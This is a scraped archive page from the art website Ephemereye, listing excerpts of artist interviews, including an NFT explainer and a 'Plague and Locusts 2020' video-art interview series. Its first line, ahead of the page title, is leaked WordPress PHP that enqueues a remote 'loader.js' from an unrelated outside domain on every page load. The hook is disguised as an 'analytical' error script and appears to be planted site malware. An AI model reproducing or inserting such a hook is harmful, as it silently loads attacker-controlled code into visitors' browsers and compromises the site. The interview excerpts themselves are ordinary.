// analytical function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Interview Archives - Ephemereye : Ephemereye

Demystifying NFTs, and why is it a mystery on the first place?

The concept of NFT as a relatively new phenomenon despite its inception in 2014, when Kevin McCoy first ‘minted’ his #NFT Quantum in collaboration with a programer Anil Dash in 2014. The concept behind it was to protect digital art reproduced on the web without credit or attribution. It came

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Introducing: Sinasi Gunes

Turkish artist Şinasi Güneş in conversation with Ephemereye. “As a concept, it is human who adds meaning to art. In this case, art is something that exists together with human being and is something that [will disappear with] the death of human being. Today, in the world imposed by global

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It’s still happening. Carla Forte. 

No matter how much we want this pandemic to be over, it’s still happening and it still affects our lives. Artists still reflect on it, still create work, and we are still showing it. Today, we bring you the work of Carla Forte, and a few thought that she shared

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Veronica Shimanovskaya for Plague & Locusts 2020, and Ephemereye.

Prompted by Emma Roper-Evans to answer her interview questions for The Sunday Tribune Online, I thought it was appropriate to use those answers to accompany my entry to the Plague and Locusts 2020. I started my life in St Petersburg, then moved to the San Francisco Bay area, then to

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Plague and Locusts 2020: Leslie Mauldin

And concluding our series we present the work of Texas based artist Leslie Maudlin. E. Please say a little about yourself, your practice and interests in normal conditions. This includes identity/occupation/pursuits/training and so on. LM. I am a female artist, born and raised in the DFW [Dallas] metropolitan area, and

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Plague and Locusts 2020: Danielle Imara

During our virtual conversation with Danielle Imara, we asked her to introduce herself and her work. Danielle is a participating artist in our virtual show Plague and Locusts 2020. Here you can see her work. E. Please tell our readers a little about yourself, your practice and interests in the

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Plague and Locusts 2020: Natalia Jezova

What could be more enchanting than a mystery? I suppose, only the love for the mystery and the quest which one embarks on in trying to solve it. I am a Russian-born artist who lives in London. I communicate through a wide variety of media, including photography, film and installation.

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Plague and Locusts 2020: Johanna Yukiko Haneda

Introducing Yukiko Haneda, a singer and a performing artist, whos practice migrated toward video work during the pandemic, the medium which she is exploring now. “Cubic Orange” from HEARTBEAT INK Performing Art, Theatre Improv Performance  E: Please introduce yourself, your practice, and interests, and how do you work in normal

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Plague and Locusts 2020: Carlotta Storelli

International and interdisciplinary artist, she studies theater, dance and art. She is dedicated to interdisciplinary language research as an interpreter, choreographer and pedagogue. Born in Switzerland on April 4, 1990, in the city of Locarno where she receives her baccalaureate at the CSIA school. After graduating she moved to Spain

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Plague and Locusts 2020. November: Matteo Campulla.

Continuing a series of interviews with video artists who responded to our artist call Plague and Locusts 2020 with had a virtual Q&A with Matteo Campulla. Outside, Matteo Campulla. I am 38 years old and I am a Sardinian artist based in Milan, Italy. After graduating from the artistic high

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